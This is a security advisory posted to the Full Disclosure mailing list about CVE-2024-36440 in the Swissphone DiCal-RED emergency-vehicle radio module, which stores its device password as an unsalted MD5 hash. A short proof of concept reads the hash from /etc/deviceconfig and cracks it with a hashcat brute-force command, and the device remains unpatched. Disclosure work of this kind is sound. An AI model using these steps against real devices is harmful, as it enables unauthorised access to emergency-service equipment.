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Message-ID: <20240820141111.61aa2da3@syss.de> Date: Tue, 20 Aug 2024 14:11:11 +0200 From: Sebastian Hamann via Fulldisclosure <fulldisclosure@...lists.org> To: <fulldisclosure@...lists.org> Subject: [FD] [SYSS-2024-037] DiCal-RED - Use of Password Hash With Insufficient Computational Effort -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2024-037 Product: DiCal-RED Manufacturer: Swissphone Wireless AG Affected Version(s): Unknown Tested Version(s): 4009 Vulnerability Type: Use of Password Hash With Insufficient Computational Effort (CWE-916) Risk Level: Medium Solution Status: Open Manufacturer Notification: 2024-04-16 Solution Date: None Public Disclosure: 2024-08-20 CVE Reference: CVE-2024-36440 Author of Advisory: Sebastian Hamann, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DiCal-RED is a radio module for communication between emergency vehicles and control rooms. It provides Ethernet, Wi-Fi and cellular network connectivity and runs a Linux- and BusyBox-based operating system. The manufacturer describes the product as follows (see [1]): "The DiCal-Red radio data module reliably guides you to your destination. This is ensured by the linking of navigation (also for the transmission of position data) and various radio modules." Due to a weak password hashing function, the device password is vulnerable to offline brute-force attacks in order to recover the password. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The device password is stored in the file /etc/deviceconfig as a plain MD5 hash, i.e. without any salt or computational cost function. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): root@...al-RED:~# cat /etc/deviceconfig PasswordActive=1 PasswordHash="2ab96390c7dbe3439de74d0c9b0b1767" [...] $ hashcat -m 0 -a 3 2ab96390c7dbe3439de74d0c9b0b1767 ?l?l?l?l?l?l?d [...] 2ab96390c7dbe3439de74d0c9b0b1767:hunter2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer recommends not running the device in an untrusted network. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-02-29: Vulnerability discovered 2024-04-16: Vulnerability reported to manufacturer 2024-05-10: Manufacturer states that the vulnerability will not be fixed 2024-05-14: Vulnerability reported to CERT-Bund 2024-08-13: CERT-Bund informs us that the vendor declared the product EOL 2024-08-20: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for DiCal-RED https://www.swissphone.com/solutions/components/terminals/radio-data-module-dical-red/ [2] SySS Security Advisory SYSS-2024-037 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-037.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Sebastian Hamann of SySS GmbH. E-Mail: sebastian.hamann@...s.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Hamann.asc Key ID: 0x9CE0E440429D8B96 Key Fingerprint: F643 DF21 62C4 7C53 7DB2 8BA1 9CE0 E440 429D 8B96 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE9kPfIWLEfFN9souhnODkQEKdi5YFAmbEQgMACgkQnODkQEKd i5YLLw/+KOVlJj9SE7BMWl9H9zO9YcNZPUvuC62/iAtn82r0bOTQAUjx3eSzxx01 BGqHEVozMOb4PHC1hTPGp+WHMaFNlcLgiyciFhckh4PpeIwtCCccg3+8BlJRmVPb pO+IWo16KcW/fYnqpu5fvHeKnC7UkauWBJiC5a72kjBqJeKreHjTJ3+lAOuMp5nt wTJAEVvlog+MNJzXipMTDzYlaw6YrMr5ukgou0iDKKNJpwMBwJpga0IvJGmubNOU YchVnsZOC7cXWqPBRFpNzKJifMZJ2rWPzoryIniR+ZdJn/M/wXr4IKZZJ0Oag/UT li1LdUlNby7QnPCB9T0TfAhS3uGn9tSulPG51Ei9COuKFcpGWqEBM+NZ5QHy/+7o 6uo8tHV34XV4ztsWWHp6Mjd9qDI/7iPFsSR4k+Zio5/5rPqOfhp2LuBFfnuLCuqY RLZnZ+eDuyUk4fsDLPP/2mRjfVf9+dskYBVqGbgjzNvgb2teTBxD3t31cdgyRNc7 LurHmE4h+h+qLT78E2i/iuRyvZFzAQ6miDNgFqDoTrp9XENtXSicmy0ABMPGMjCw jg0dzFT4AA7zhNN0HuPNX2fE0+dmy5g9t8HdNFJeG52uTMs6/CYGlu573oErlUru lr2Y2f3O06EHFnrR05OVM4TXuQF5VF5lHY/WmTCsOTWOYED2pjg= =tMX8 -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
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